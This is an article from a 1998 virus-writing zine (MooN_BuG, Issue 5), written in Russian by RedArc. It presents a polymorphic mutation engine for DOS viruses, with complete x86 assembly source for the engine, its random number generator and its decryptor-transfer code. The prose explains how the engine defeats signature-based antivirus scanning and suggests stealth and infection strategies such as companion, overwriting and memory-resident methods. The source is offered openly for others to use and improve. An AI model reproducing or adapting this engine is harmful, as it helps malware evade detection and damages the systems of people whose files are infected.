[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998 file 00f
Advanced Random Push Mutation Engine
by RedArc
После некоторой модернизации и усиления полиморфизации ангина приобрела
довольно перспектабельный вид. Достоинством данной ангины является то, что
генерится абсолютно случайный код, т.е. не совсем случайный - нагрузка
на него та же, но нет сигнатуры как таковой во всей смутировавшей копии.
Остались лишь байты копирования тела вируса из стэка и передачи
управления. Здесь я полностью автоматизировал процесс мутаций. Часть кода
(засылка в регистры нужных значений) мутирует по тому же принципу, что и
остальной код, разве что регистры остаются постоянными (cx, si, di). Остались
лишь 9 байт:
push di ;байт
shr cx,1 ;байт
@@l:
std ;байт
lodsw ;байт
cld ;байт
stosw ;байт
loop @@l ;слово
ret ;байт
Проблему я решил следующим стареньким образом: однобайтовые команды доводятся
до слова добавлением nop'а перед или после этого байта. При этом не трогаетсся
лишь команда loop @@1, так как она занимает как раз слово. Это было не трудно
организовать, так как для однобайтовых команд изменения регистров механизм
случайного nop'а уже есть в самой ангине. За всю эту аброкадабру отвечает код
в ENDE.INC. Собственно, если вы решитесь использовать эту ангину, то
желательно сделать нормальный энджин как раз для шифрации|дешифрации этих
девяти байт... хотя прием с nop'ами тоже подходит, но следует учитывать, что
он все же содержит сигнатуру, которую можно вычислить аж двумя способами:
перебираемой маской или "выкидыванием" этих самых nop'ов.
В принципе, можно переделать ende.inc таким образом, чтобы те постоянные
байты так же запихивались в стек в обратном порядке следования команд и
передавать управление непосредственно по регистру sp (смотри RPG by FRiZER).
Тогда маски не будет вообще.
Следует отметить еще один важный момент: "мусорные" команды теперь явно
участвуют в расшифровке (их теперь нельзя отсеить) и в то же время являются
непостоянными. Примером генерации участка кода может являться следующее:
mov Reg1, Value1
mov Reg2, Value2
xor Reg1, Reg2
xchg Reg1, Reg3
push Reg3
при этом Value1 - это то, что осталось после исходного слова после "обработки"
его словом Value2, полученным из генератора случайных чисел. Т.е. теперь нет
даже тех двух постоянных байт ;)
Как и где может быть применена ангина? Да хоть как и хоть где. Главное,
помнить четыре вещи:
1. содержание регистров (ax, bx, cx, dx, si, di, bp) портится, посему, важно
перед передачей управления программе восстановить их умалчиваемое
значение.
2. во время работы RPME для расшифровки вируса в стэке создается очень
устойчивая сигнатура. Ее можно погасить например простым xor'иванием
тушки, т.е. управление передается не на сам вирус, а на декодировщик.
Было бы весьма здорово, если этот кодировщик был непостоянным, т.е. хотя
бы зачатки полиморфизма.
3. размеры смутировавшего вируса могут быть весьма приличными, так что стоит
подумать о стелс-механизме.
4. вирус затирает тело жертвы, посему он должен позаботиться о ее
восстановлении. Здесь подойдут следующие варианты:
- Satellit (спутник), т.е. вирус должен быть компаньоном;
- OverWrite (убийца), т.е. убиваем программы напрочь (нежелательно);
- AutoCure (самоубийца), т.е. вирус восстанавливает жертву на диске
и запускает ее как субпроцесс, а потом может снова ее инфицировать;
- MemoryCure (мазохист), т.е. выделяем память для жертвы, считываем ее
в эту память, там восстанавливаем и передаем на нее управление
(это не всегда может сработать, например при наличии внутреннего
оверлейного фрагмента);
- TSR (хрен во щах), т.е. вирус выделяет себе память, в которой остается
резидентно, считывает из файла инфу, восстанавливает жертву в памяти и
передает на нее управление (так же может не сработать)
- TSRFraud (шутник), т.е. вирус садится в память резидентно, но не
запускает жертву, а выдает (или вообще молчит) какое-нибудь левое
сообщение (Bad command or file name) и возвращает управление ДОС. Затем
при запуске инфицированных файлов либо лечит их на диске (метод
AutoCure) либо в памяти (метод MemoryCure).
Четвертый пункт можно обойти еще тем, что вирус должен записываться в
конец жертвы лишь определенной длины, так чтобы буфер и стек помещались в
конце сегмента.
Ну а дальше... а дальше я думаю, что вы без усилий разберетесь в сильно
неоптимизированном коде... ;) Модификация и оптимизация ангины крайне
приветствуется. Использование ее для каких-либо невирусных целей, а также
использование ее для прикрытия деструктивных вирусов, крайне не желательно.
=== Cut === RPME.INC
; Random Push Mutation Engine
; (c) by RedArc // TAVC
;------------------------------
; Main procedure RPME
;------------------------------
;Input:
; DS:SI - source code
; ES:DI - destion buffer
; CX - length to code
;Output:
; CX - new length
;Destroy:
; DI, BX, BP, AX
; --- Main generator ---
RPME proc near
push si
push ax
push bx
push dx
push di
cld
shr cx,1
jnc CheckOffs
inc cx
CheckOffs:
call RPME1
RPME1:
lodsw
GENERATE_RND:
mov bx,9
call RND
SUB_SUBROUTINE:
cmp dx,0
jne ADD_SUBROUTINE
pop bx
push bx
call SUB_DOP
jmp RPME_END
ADD_SUBROUTINE:
cmp dx,1
jne XOR_SUBROUTINE
pop bx
push bx
call ADD_DOP
jmp RPME_END
XOR_SUBROUTINE:
cmp dx,2
jne INC_SUBROUTINE
pop bx
push bx
call XOR_DOP
jmp RPME_END
INC_SUBROUTINE:
cmp dx,3
jne DEC_SUBROUTINE
mov bx,5
call RND
mov bp,dx
call INCAX
pop bx
push bx
call INC_DOP
jmp RPME_END
DEC_SUBROUTINE:
cmp dx,4
jne NEG_SUBROUTINE
mov bx,5
call RND
mov bp,dx
call DECAX
pop bx
push bx
call INC_DOP
jmp RPME_END
NEG_SUBROUTINE:
cmp dx,5
jne NOT_SUBROUTINE
mov bx,5
call RND
mov bp,dx
call NEGAX
pop bx
push bx
call INC_DOP
jmp RPME_END
NOT_SUBROUTINE:
cmp dx,6
jne ROL_SUBROUTINE
mov bx,5
call RND
mov bp,dx
call NOTAX
pop bx
push bx
call INC_DOP
jmp RPME_END
ROL_SUBROUTINE:
cmp dx,7
jne ROR_SUBROUTINE
mov bx,5
call RND
mov bp,dx
call ROLAX
pop bx
push bx
call INC_DOP
jmp RPME_END
ROR_SUBROUTINE:
cmp dx,8
jne NO_MUTATION
mov bx,5
call RND
mov bp,dx
call RORAX
pop bx
push bx
call INC_DOP
jmp RPME_END
NO_MUTATION:
cmp dx,9
je YES1
jmp GENERATE_RND
YES1:
pop bx
push bx
call NOMUT
RPME_END:
loop RPME1
pop ax
push di
pop cx
pop di
sub cx,di
pop dx
pop bx
pop ax
pop si
ret
Push_offs equ $-RPME1 ;byte
push_ax db 050h
push_bx db 053h
push_cx db 051h
push_dx db 052h
push_si db 056h
push_di db 057h
Mov_offs equ $-RPME1 ;byte
mov_ax db 0b8h
mov_bx db 0bbh
mov_cx db 0b9h
mov_dx db 0bah
mov_si db 0beh
mov_di db 0bfh
Mov_AxReg equ $-RPME1 ;word
mov ax,ax
mov ax,bx
mov ax,cx
mov ax,dx
mov ax,si
mov ax,di
Xchg_AxReg equ $-RPME1 ;byte
xchg ax,ax
xchg ax,bx
xchg ax,cx
xchg ax,dx
xchg ax,si
xchg ax,di
Xor_AxReg equ $-RPME1 ;word
xor ax,bx
xor ax,cx
xor ax,dx
xor ax,si
xor ax,di
InfoRPME db 'RPME v.02 by RedArc'
RPME endp
; --- Carbotage generator ---
;INPUT: AX
;OUTPUT: AX, DX (AX+DX=SomeValue)
SUBAX proc near
mov bx,ax
call RND
cmp ax,dx
jz DIVIZION
SUB1:
sub ax,dx
ret
DIVIZION:
shr dx,1
jmp short SUB1
SUBAX endp
;INPUT: AX
;OUTPUT: AX, DX (AX-DX=SomeValue)
ADDAX proc near
mov bx,0ffffh
sub bx,ax
call RND
add ax,dx
ret
ADDAX endp
;INPUT: AX
;OUTPUT: AX, DX (AX xor DX = SomeValue)
XORAX proc near
push bx
mov bx,0fffeh
call RND
xor ax,dx
pop bx
ret
XORAX endp
;INPUT: AX
; DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
; DX - mirror word
INCAX proc near
push si
push bx
call MB1
MB1:
pop si
add si,DEC_Table
inc ax
add si,dx
mov bx,16
call RND
cmp dx,8
jg DHM
mov dl,byte ptr cs:[si]
mov dh,90h
jmp short MBE
DHM:
mov dh,byte ptr cs:[si]
mov dl,90h
MBE:
pop bx
pop si
ret
DEC_Table equ $-MB1
dec ax
dec bx
dec cx
dec dx
dec si
dec di
INCAX endp
;INPUT: AX
; DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
; DL - mirror word
DECAX proc near
push si
push bx
call MB1_
MB1_:
pop si
add si,INC_Table
dec ax
add si,dx
mov bx,16
call RND
cmp dx,8
jg DLM
mov dh,byte ptr cs:[si]
mov dl,90h
jmp short MBO
DLM:
mov dl,byte ptr cs:[si]
mov dh,90h
MBO:
pop bx
pop si
ret
INC_Table equ $-MB1_
inc ax
inc bx
inc cx
inc dx
inc si
inc di
DECAX endp
;INPUT: AX
; DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
; DX - mirror word
NEGAX proc near
push si
call NP1
NP1:
pop si
add si,NEG_Table
shl dx,1
add si,dx
neg ax
mov dx,word ptr cs:[si]
pop si
ret
NEG_Table equ $-NP1
neg ax
neg bx
neg cx
neg dx
neg si
neg di
NEGAX endp
;INPUT: AX
; DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
; DX - mirror word
NOTAX proc near
push si
call NOTP1
NOTP1:
pop si
add si,NOT_Table
shl dx,1
add si,dx
not ax
mov dx,word ptr cs:[si]
pop si
ret
NOT_Table equ $-NOTP1
not ax
not bx
not cx
not dx
not si
not di
NOTAX endp
;INPUT: AX
; DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
; DX - mirror word
ROLAX proc near
push si
call ROL1
ROL1:
pop si
add si,ROR_Table
shl dx,1
add si,dx
rol ax,1
mov dx,word ptr cs:[si]
pop si
ret
ROR_Table equ $-ROL1
ror ax,1
ror bx,1
ror cx,1
ror dx,1
ror si,1
ror di,1
ROLAX endp
;INPUT: AX
; DX (num Reg: 0-AX, 1-BX, 2-CX, 3-DX, 4-SI, 5-DI)
;OUTPUT: AX - new value
; DX - mirror word
RORAX proc near
push si
call ROR1
ROR1:
pop si
add si,ROL_Table
shl dx,1
add si,dx
ror ax,1
mov dx,word ptr cs:[si]
pop si
ret
ROL_Table equ $-ROR1
rol ax,1
rol bx,1
rol cx,1
rol dx,1
rol si,1
rol di,1
RORAX endp
Save_Al proc near
mov al,byte ptr cs:[si]
stosb
ret
Save_Al endp
ADD_SUB proc near
push bx
mov bx,5
call RND
pop bx
push bx
push si
add bx,Xchg_AxReg
xchg bx,si
add si,dx
call Save_Al
pop si
pop bx
push si
add bx,Push_offs
xchg bx,si
add si,dx
call Save_Al
pop si
ret
ADD_SUB endp
ADD_SUB_0 proc near
mov bp,dx
pop dx
pop bx
push bx
push dx
mov dx,bp
push si
xchg bx,si
add si,Mov_offs
push ax
call Save_Al
pop ax
stosw
pop si
ret
ADD_SUB_0 endp
SAVE_METOD proc near
stosb
xchg ax,dx
stosw
pop dx
pop bx
push bx
push dx
call ADD_SUB
ret
SAVE_METOD endp
XOR_DOP proc near
push si
push bx
call XORAX
add bx,Mov_offs
xchg bx,si
push ax
call Save_Al
pop ax
stosw
pop bx
push bx
push si
mov si,bx
mov bx,4
push dx
call RND
;!!!
mov bp,dx
shl bp,1
inc dx
;!!!
add bp,si
add si,dx
pop dx
add si,Mov_offs
call Save_Al
xchg ax,dx
stosw
pop si
xchg si,bp
add si,Xor_AxReg
mov ax,word ptr cs:[si]
stosw
xchg si,bp
pop bx
push bx
push si
mov si,bx
mov bx,5
call RND
add si,dx
mov bp,si
add si,Xchg_AxReg
call Save_Al
pop si
xchg bp,si
add si,Push_offs
call Save_Al
xchg bp,si
pop bx
pop si
ret
XOR_DOP endp
SUB_DOP proc near
push bx
call SUBAX
call ADD_SUB_0
mov al,05h
call SAVE_METOD
pop bx
ret
SUB_DOP endp
ADD_DOP proc near
push bx
call ADDAX
call ADD_SUB_0
mov al,2dh
call SAVE_METOD
pop bx
ret
ADD_DOP endp
INC_DOP proc near
;INPUT: BP - uses register (0-AX, 1-BX, 2-CX, ...)
push si
push bx
mov si,bx
add si,bp
push ax
add si,Mov_offs
call Save_Al
pop ax
stosw
xchg ax,dx
stosw
pop si
add si,Push_offs
add si,bp
call Save_Al
pop si
ret
INC_DOP endp
NOMUT proc near
push si
mov si,bx
mov bx,5
call RND
add si,dx
mov bp,si
add si,Mov_offs
push ax
call Save_Al
pop ax
stosw
xchg bp,si
add si,Push_offs
call Save_Al
pop si
ret
NOMUT endp
=== Cut ===
Блок генератора псевдослучайных чисел
=== Cut === RND.INC
; Random Push Mutation Engine
; (c) by RedArc // TAVC
;------------------------------
; Random procedure RPME
;------------------------------
;Input:
; BX - some max value
;Output:
; DX - rnd value [0..bx]
;Destroy:
; BX, DX
Randomize proc near
RM0:
push si
call RM1
RM1:
RM_Offs equ $-RM0
pop si
sub si,RM_Offs
mov ax,word ptr cs:[si+r2]
mov byte ptr cs:[si+r1],al
add ah,al
mov al,byte ptr cs:[si+r3]
mov byte ptr cs:[si+r2],al
add al,ah
rol al,1
mov byte ptr cs:[si+r3],al
pop si
ret
r3 equ $-RM0
db 35
r2 equ $-RM0
db 91
r1 equ $-RM0
db 4
Randomize endp
RND proc near
push ax
cmp bx,0ffffh
jz RND_0
inc bx
RND_0:
cmp bh,0
jnz RND0
xor dh,dh
RND0:
cmp bh,0
jz RND1
call Randomize
mov dh,al
RND1:
call Randomize
mov dl,al
cmp dx,bx
jnc RND0
pop ax
ret
RND endp
=== Cut ===
Блок полиморфизации кода передачи управления расшифрованному вирусу
=== Cut === RND.INC
; Random Push Mutation Engine
; (c) by RedArc // TAVC
;------------------------------
; Ende procedure RPME
;------------------------------
;Input:
; ES:DI - output buffer
;Output:
; CX - length of output buffer
;Destroy:
; None
RPME_ENDE proc near
cld
push ax
push bx
push dx
push si
push di
mov ax,0fffch
mov bp,4
call NEW_VALUE
mov ax,MyLength
mov bp,2
call NEW_VALUE
mov ax,100h
mov bp,5
call NEW_VALUE
call CONST_BYTE_1
mov al,0fdh
call NOP_MUT
stosw
mov al,0adh
call NOP_MUT
stosw
mov al,0fch
call NOP_MUT
stosw
mov al,0abh
call NOP_MUT
stosw
mov ax,0f6e2h
stosw
mov al,0c3h
call NOP_MUT
stosw
xchg cx,di
pop di
sub cx,di
pop si
pop dx
pop bx
pop ax
ret
RPME_ENDE endp
;Input:
; AL - value
;Output:
; AX - new value
;Destroy:
; None
NOP_MUT proc near
push bx
push dx
mov bx,18
call RND
cmp dx,9
jl NM1
xchg ah,al
mov al,90h
jmp short NM2
NM1:
mov ah,90h
NM2:
pop dx
pop bx
ret
NOP_MUT endp
;Input:
; AX - value
; DX - mirror word
; BP - Num. Reg.
;Output:
; None
;Destroy:
; AX, DX
SAVE_BUFF proc near
push si
push ax
call S_B0
S_B0:
pop si
add si,bp
add si,Mov_offs1
mov al,byte ptr cs:[si]
stosb
pop ax
stosw
xchg ax,dx
stosw
pop si
ret
Push_offs1 equ $-S_B0 ;byte
push_ax1 db 050h
push_bx1 db 053h
push_cx1 db 051h
push_dx1 db 052h
push_si1 db 056h
push_di1 db 057h
Mov_offs1 equ $-S_B0 ;byte
mov_ax1 db 0b8h
mov_bx1 db 0bbh
mov_cx1 db 0b9h
mov_dx1 db 0bah
mov_si1 db 0beh
mov_di1 db 0bfh
SAVE_BUFF endp
;Input:
; AX - value
; BP - Num. Reg.
;Output:
; None
;Destroy:
; AX
NEW_VALUE proc near
push bx
push dx
P0:
mov bx,5
call RND
xchg bx,dx
mov dx,bp
cmp bx,0
jne P1
call INCAX
call SAVE_BUFF
jmp P7
P1:
cmp bx,1
jne P20
call DECAX
call SAVE_BUFF
jmp P7
P20:
cmp bx,4
jne P21
call RORAX
call SAVE_BUFF
jmp P7
P21:
cmp bx,5
jne P2
call ROLAX
call SAVE_BUFF
jmp P7
P2:
cmp bx,2
jne P3
call NEGAX
call SAVE_BUFF
jmp P7
P3:
cmp bx,3
je P4
jmp P0
P4:
call NOTAX
call SAVE_BUFF
P7:
pop dx
pop bx
ret
NEW_VALUE endp
;Input:
; None
;Output:
; None
;Destroy:
; AX
CONST_BYTE_1 proc near
push si
call C_B_1_0
C_B_1_0:
pop si
add si,DATE_CB1
mov al,byte ptr cs:[si]
stosb
inc si
mov ax,word ptr cs:[si]
stosw
pop si
ret
DATE_CB1 equ $-C_B_1_0
DCB1:
push di
shr cx,1
DateLengthCB1 equ $-DCB1
CONST_BYTE_1 endp
=== Cut ===